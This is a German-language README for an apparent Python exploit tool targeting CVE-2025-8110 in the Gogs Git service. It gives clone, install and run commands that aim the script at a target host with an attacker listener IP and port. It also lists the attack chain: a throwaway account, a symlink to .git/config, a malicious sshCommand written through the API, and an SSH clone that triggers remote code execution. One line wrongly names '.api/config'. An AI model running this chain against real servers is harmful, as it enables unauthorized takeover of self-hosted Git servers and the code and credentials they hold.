GOGS-RCE-cve-2025-8110-Python-Skript, das die gesamte Angriffskette automatisiert: von der Erstellung eines Repositorys mit einer Symlink-Datei, die auf .git/config verweist, bis zum Auslösen von RCE über einen manipulierten sshCommand in der Config-Datei.
Gogs ist ein leichtgewichtiger, selbst gehosteter Git-Dienst, ähnlich einer privaten GitHub-Version, der dafür ausgelegt ist, problemlos auf Servern mit geringen Ressourcen zu laufen. Die Schwachstelle CVE-2025-8110 ist ein kritischer Sicherheitsfehler, der es einem Angreifer ermöglicht, Pfadbeschränkungen mithilfe von Symlinks zu umgehen. Durch das Hochladen eines bösartigen Links, der auf .api/config verweist, kann ein Angreifer über die Gogs-API eine schädliche Konfigurationsdatei mit dem sshCommand-Parameter einbetten und so eine RCE auf dem Host-Server erreichen.
git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE
pip3 install -r ./requirements.txt
# Print help
python3 ./cve-2025-8110.py --help
# Execute the attack chain with register step
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>
# Execute the attack chain skipping register | useful when register func returns err statement
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>
Dieses Skript folgt einer Angriffskette, die die folgenden Schritte umfasst:
1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH
Dieses Skript wurde mit dem PoC von zAbuQasem (https://github.com/zAbuQasem) erstellt.